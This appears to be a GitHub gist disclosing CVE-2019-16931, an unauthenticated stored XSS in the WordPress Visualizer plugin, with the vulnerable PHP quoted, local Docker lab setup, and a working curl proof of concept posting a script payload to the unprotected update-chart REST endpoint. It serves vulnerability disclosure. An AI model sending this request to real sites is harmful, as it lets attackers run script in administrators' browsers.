Skip to content

Instantly share code, notes, and snippets.

@ndavison
Last active November 21, 2019 23:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ndavison/144ae968df7ebe47667f76776464f7b9 to your computer and use it in GitHub Desktop.
Save ndavison/144ae968df7ebe47667f76776464f7b9 to your computer and use it in GitHub Desktop.
Wordpress Visualizer plugin stored XSS

Wordpress Visualizer plugin stored XSS CVE-2019-16931

The Visualizer plugin for Wordpress suffers from an unauthenticated stored XSS vulnerability. This was tested against v3.3.0.

Summary

This XSS actually relies on another vulnerability of sorts, in that it is possible for an anonymous user to modify data on an already created chart object by simply sending a constructed POST request to the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. This can be seen here where the endpoint is registered (classes/Visualizer/Gutenberg/Block.php) with no access control:

register_rest_route(
    'visualizer/v' . VISUALIZER_REST_VERSION,
    '/update-chart',
    array(
        'methods'  => 'POST',
        'callback' => array( $this, 'update_chart_data' ),
        'args'     => array(
            'id' => array(
                'sanitize_callback' => 'absint',
            ),
        ),
    )
);

Inside the callback, there is also no access control being applied, as user input is saved directly to the post meta data associated with the chart id being targeted:

/**
* Rest Callback Method
*/
public function update_chart_data( $data ) {
    if ( $data['id'] && ! is_wp_error( $data['id'] ) ) {

        update_post_meta( $data['id'], Visualizer_Plugin::CF_CHART_TYPE, $data['visualizer-chart-type'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_SOURCE, $data['visualizer-source'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_DEFAULT_DATA, $data['visualizer-default-data'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_SERIES, $data['visualizer-series'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_SETTINGS, $data['visualizer-settings'] );
...

With the ability to arbitrarily define these meta data values, it is imperative that the values are handled safely - but they are not. We can see in a sidebar content function, these values are being output into HTML without any escaping (in classes/Visualizer/Render/Page/Data.php):

$type              = get_post_meta( $this->chart->ID, Visualizer_Plugin::CF_CHART_TYPE, true );
$lib               = get_post_meta( $this->chart->ID, Visualizer_Plugin::CF_CHART_LIBRARY, true );
?>
<span id="visualizer-chart-id" data-id="<?php echo $this->chart->ID; ?>" data-chart-source="<?php echo $source_of_chart; ?>" data-chart-type="<?php echo $type; ?>" data-chart-lib="<?php echo $lib; ?>"></span>

This is just one example of an attacker controlled meta data value being injected into the HTML. In this case, we're interested in <?php echo $type; ?>, as $type is being set above using a straight get_post_meta() call - looking at the markup, it appears a few others are likely vulnerable as well (related to the scheduling feature of the paid Pro version of the plugin).

PoC setup

Setup a Docker environment using this compose config: https://docs.docker.com/compose/wordpress/

Go through the standard Wordpress install process, and then install the Visualizer plugin (should be the first one listed when you search for "Visualizer" in Plugins > Add New), and activate it.

To enable the WP-JSON URL style used in the PoC below, you'll also want to change the permalink style to something other than "plain" in Settings > Permalinks.

Create a new chart and record the ID value.

PoC

curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.158.128:8000' -H $'Content-Type: application/json' \
    --data-binary $'{\"id\": 7, \"visualizer-chart-type\": \"\\\"><script>alert(1);</script><span data-x=\\\"\"}' \
    $'http://192.168.158.128:8000/wp-json/visualizer/v1/update-chart'

Note: 192.168.158.128 was the IP of my Docker host, so you'll probably have to change this. Also, my chart id was 7 but you may need to adjust that in the --data-binary payload.

Once you have executed this curl command, go back to the chart as an admin and go to edit it - we've corrupted the chart due to changing the type to an illegitimate value, but the alert should fire showcasing stored XSS.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment